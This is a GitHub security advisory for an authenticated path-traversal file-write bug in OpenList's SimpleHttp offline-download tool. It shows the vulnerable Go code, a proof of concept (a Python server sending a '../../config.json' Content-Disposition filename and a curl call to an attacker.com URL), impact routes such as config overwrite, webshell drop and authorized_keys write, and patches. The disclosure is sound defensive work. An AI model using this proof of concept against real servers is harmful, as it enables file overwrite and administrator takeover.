GitHub Advisoryadvisory · Go
GHSA-h6cj-26g5-67fv OpenList: Authenticated arbitrary file write via Content-Disposition path traversal in SimpleHttp offline-download tool
MEDIUM
Official page ↗
- Aliases
- CVE-2026-75602
- Ecosystem
- Go
- Packages
- github.com/OpenListTeam/OpenList
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H
- Weaknesses
- CWE-22, CWE-73
- Reviewed
- 2026-09-03
Affected packages
• Go github.com/OpenListTeam/OpenList: < 4.2.3 → fixed in 4.2.3
Description
Summary
Alist's offline-download feature (`POST /api/fs/add_offline_download` with `tool: "SimpleHttp"`) accepts an attacker-supplied URL, fetches it, and saves the bytes under a per-task temp directory before transferring to the user's destination storage. The temp filename is taken from the response's `Content-Disposition` header (attacker-controlled when the URL points to an attacker HTTP server), passed verbatim to `filepath.Join(tempDir, filename)`, and written via `os.Create` with no containment check. Go's `filepath.Join` calls `Clean` on the result, which collapses `..` segments and lets the attacker traverse out of `tempDir` to write any file the alist process can write.
A non-admin user with `PermAddOfflineDownload` permission on any path is sufficient.
Affected code
`internal/offline_download/http/util.go` — filename returned verbatim from header:
```go
func parseFilenameFromContentDisposition(contentDisposition string) (string, error) {
if contentDisposition == "" {
return "", fmt.Errorf("Content-Disposition is empty")
}
_, params, err := mime.ParseMediaType(contentDisposition)
if err != nil {
return "", err
}
filename := params["filename"]
if filename == "" {
return "", fmt.Errorf("filename not found in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil // ← no traversal stripping
}
```
`internal/offline_download/http/client.go` (`SimpleHttp.Run`):
```go
filename := path.Base(urlPath) // safe
if n, err := parseFilenameFromContentDisposition(resp.Header.Get("Content-Disposition")); err == nil {
filename = n // UNSAFE — no sanitization
}
_ = os.MkdirAll(task.TempDir, os.ModePerm)
filePath := filepath.Join(task.TempDir, filename) // filepath.Join calls Clean; "../" escapes tempDir
file, err := os.Create(filePath) // arbitrary file create+truncate
_, _ = utils.CopyWithCtx(task.Ctx(), file, resp.Body, fileSize, task.SetProgress)
```
`server/handles/offline_download.go` (`AddOfflineDownload`) is mounted under normal user auth (not `AuthAdmin`). The only permission check is `common.HasPermission(perm, common.PermAddOfflineDownload)`.
Note: `tryPutUrl` in `internal/offline_download/tool/add.go` is a partial bypass for cloud-storage destinations whose driver implements `PutURL` (e.g., 115 Cloud, PikPak, Thunder). For the local-storage driver — the most common target — `tryPutUrl` returns `errs.NotImplement` and execution falls through to the vulnerable `SimpleHttp.Run` path.
PoC
1. Attacker has any alist account with `PermAddOfflineDownload` on some path it can write to (e.g. `/somefolder`).
2. Attacker hosts a small HTTP listener:
```python
from http.server import BaseHTTPRequestHandler, HTTPServer
PAYLOAD = b"any_attacker_controlled_bytes\n"
TRAVERSAL = "../../config.json" # destination path under /opt/alist/data/
class H(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Disposition", f'attachment; filename="{TRAVERSAL}"')
self.send_header("Content-Length", str(len(PAYLOAD)))
self.end_headers()
self.wfile.write(PAYLOAD)
HTTPServer(("0.0.0.0", 80), H).serve_forever()
```
3. Trigger:
```bash
curl -X POST 'http://victim-alist.example/api/fs/add_offline_download' \
-H 'Authorization: ' \
-H 'Content-Type: application/json' \
-d '{"urls":["http://attacker.com/payload"],"tool":"SimpleHttp","path":"/somefolder","delete_policy":"delete_never"}'
```
4. Server-side: `tempDir = /opt/alist/data/temp/SimpleHttp/`. `filename = "../../config.json"`. `filePath = filepath.Join(tempDir, filename)` cleans to `/opt/alist/data/config.json`. `os.Create` truncates the existing config; the response body is streamed in.
Impact
The minimal, deployment-agnostic guarantee is: the attacker can cause the application to create or overwrite files whose parent directory exists, with content of their choice, as the alist process (PUID=0 in default Docker). Because the vulnerable code ultimately calls `os.Create` on the attacker-controlled resolved path, existing files may be truncated and replaced when the target already exists. Concrete impact paths include:
• Replace `/opt/alist/data/config.json` with attacker config (alternative JwtSecret, admin password hash, allowed origins) — admin takeover on next restart / config-reload hook.
• Drop a webshell into a writable docroot served by a sibling web server (environment-dependent).
• Truncate the alist binary at `/opt/alist/alist` (Linux permits overwriting an executing binary on most filesystems) — next start runs attacker's binary.
• Write `authorized_keys` if a host volume bind-mounts e.g. `/root/.ssh` and that directory exists.
Caveat: the parent directory of the target must already exist; `os.Create` does not `mkdir -p` intermediate components. This still leaves many high-impact targets reachable on default deployments.
Adversarial review notes
• `filepath.Join` *does* collapse `..` (Go semantics confirmed via stdlib).
• No containment check exists after the join.
• `mime.ParseMediaType` does not strip path separators or `..` from `filename` or RFC 5987 `filename*`.
• The resolved path is opened using `os.Create`, which truncates existing files and therefore permits overwrite in addition to creation when the target path already exists.
• `SimpleHttp` is registered by default (`internal/offline_download/all.go`).
• The route is *not* `AuthAdmin`-gated.
• Default guest is disabled (perm 0); this requires a user with `PermAddOfflineDownload`.
Remediation
Minimal patch in `internal/offline_download/http/util.go`:
```go
filename = filepath.Base(filename)
if filename == "" || filename == "." || filename == ".." || !filepath.IsLocal(filename) {
return "", fmt.Errorf("invalid filename in Content-Disposition: [%s]", contentDisposition)
}
return filename, nil
```
Defense-in-depth in `internal/offline_download/http/client.go` after computing `filePath`:
```go
cleanTempDir := filepath.Clean(task.TempDir) + string(filepath.Separator)
if !strings.HasPrefix(filepath.Clean(filePath)+string(filepath.Separator), cleanTempDir) {
return fmt.Errorf("filename escapes temp dir")
}
```
Additionally, file creation should reject existing targets (or use an equivalent exclusive-create mechanism) to prevent accidental or attacker-controlled overwrites when a chosen filename resolves to an existing file.
```go
if _, err := os.Stat(filePath); err == nil {
return fmt.Errorf("file already exists")
}
```
The same Content-Disposition / URL-derived filename trust pattern should be reviewed in the other offline-download tools under `internal/offline_download/{aria2,qbit,transmission,115,pikpak,thunder}/` for consistency.
Inherited from upstream
This bug is inherited from upstream alist/alist-org/alist. Sister advisories are being filed against AlistGo/alist (the active downstream) and alist-org/alist (the original tree).
Cross-reference
This is a different code path from the previously fixed CVE-2026-25161 (GHSA-x4q4-7phh-42j9, fsmanage/fsbatch path traversal patched in v3.57.0). The offline-download `SimpleHttp` downloader was not in scope of that fix; the vulnerable code is on `main` HEAD as of the time of this report (verified against the openlistteam/openlist tree's `internal/offline_download/http/client.go` retrieved 2026-05-09 — the SimpleHttp.Run function still calls `parseFilenameFromContentDisposition` and uses the result verbatim with `filepath.Join(task.TempDir, filename)`. OpenList's variant adds a `strings.Trim(filename, "/")` call which strips leading/trailing slashes but does NOT block `..` traversal segments — so the bug remains exploitable.)
Credit
Discovered during a cross-target meta-sweep on path-traversal in file-upload / d…
Related
Alias · CVE (1)
- CVE-2026-75602 OpenList a file list program that supports multiple storage. vulnerability